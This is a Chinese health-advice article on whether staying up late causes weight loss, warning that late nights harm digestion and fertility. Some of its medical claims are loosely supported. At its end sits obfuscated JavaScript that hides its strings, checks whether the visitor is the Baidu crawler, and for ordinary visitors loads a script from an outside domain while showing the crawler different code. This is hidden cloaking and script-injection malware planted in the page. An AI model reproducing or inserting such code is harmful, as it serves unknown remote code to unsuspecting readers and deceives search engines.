当前位置:首页 > 减肥 > 减肥方法 > 正文

经常熬夜会不会变瘦呢

2017-04-26 18:25:15  来源:360常识网   热度:
导语:网络的飞速发展,造成了很多人沉迷于网络游戏,这些网络游戏的爱好者慢慢的也变成了夜猫一族,因为经常熬夜,所以身体变得比较差,很多人甚

网络的飞速发展,造成了很多人沉迷于网络游戏,这些网络游戏的爱好者慢慢的也变成了夜猫一族,因为经常熬夜,所以身体变得比较差,很多人甚至身材也比较瘦了,那么,经常熬夜会不会变瘦呢?如果熬夜会变瘦的话,又是什么原因造成的呢?下面就由我来给大家详细的介绍一下经常熬夜会不会变瘦吧。

熬夜变瘦是显而易见的,大多数现代白领都有熬夜晚睡的习惯。我们不难发现,大多数熬夜者脸色较差、身形消瘦、略微显老,有些可出现严重的眼袋、黑眼圈。

经常熬夜对身体健康危害大,晚上10点以后,人的肠胃开始进入休息状态,这时候熬夜不睡或吃夜宵,会对肠胃造成极大的伤害,久而久之造成肠胃吸收不好,肠道动力不足,出现食欲下降、便秘、腹泻,最终导致身体消瘦。

现有不少女性推崇熬夜减肥,这是非常错误的。对于女性朋友来说,经常熬夜和睡眠不足,还会造成内分泌失调,使免疫力下降。可导致皮肤变差、月经失调、白带异常、排卵期推迟,甚至造成不孕不育。

熬夜变瘦的原因,主要是因为肠胃得不到休息,造成吸收不良引起消瘦。如经常熬夜,或吃夜宵,有可能引起胃溃疡、胃癌、十二指肠溃疡等疾病,也是会导致人变瘦的。因此,熬夜变瘦的人如果肠胃有什么不适,应尽早去医院做检查,并改掉熬夜的坏毛病,只要有恒心加上一定的方法,改掉熬夜的习惯还是很轻松的。

另外,有部分人熬夜会发胖,这和个人体质及吃夜宵关系大。

通过上面的介绍,相信大家都知道经常熬夜会不会变瘦的答案了,就算是变瘦了,也绝对是拿身体的健康作为代价换来的瘦,而这种瘦也绝对不是一种美丽的瘦,看上去也是非常病态不好看的,所以对于一些爱美人士,我奉劝一句,千万不要因为爱美而熬夜减肥。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}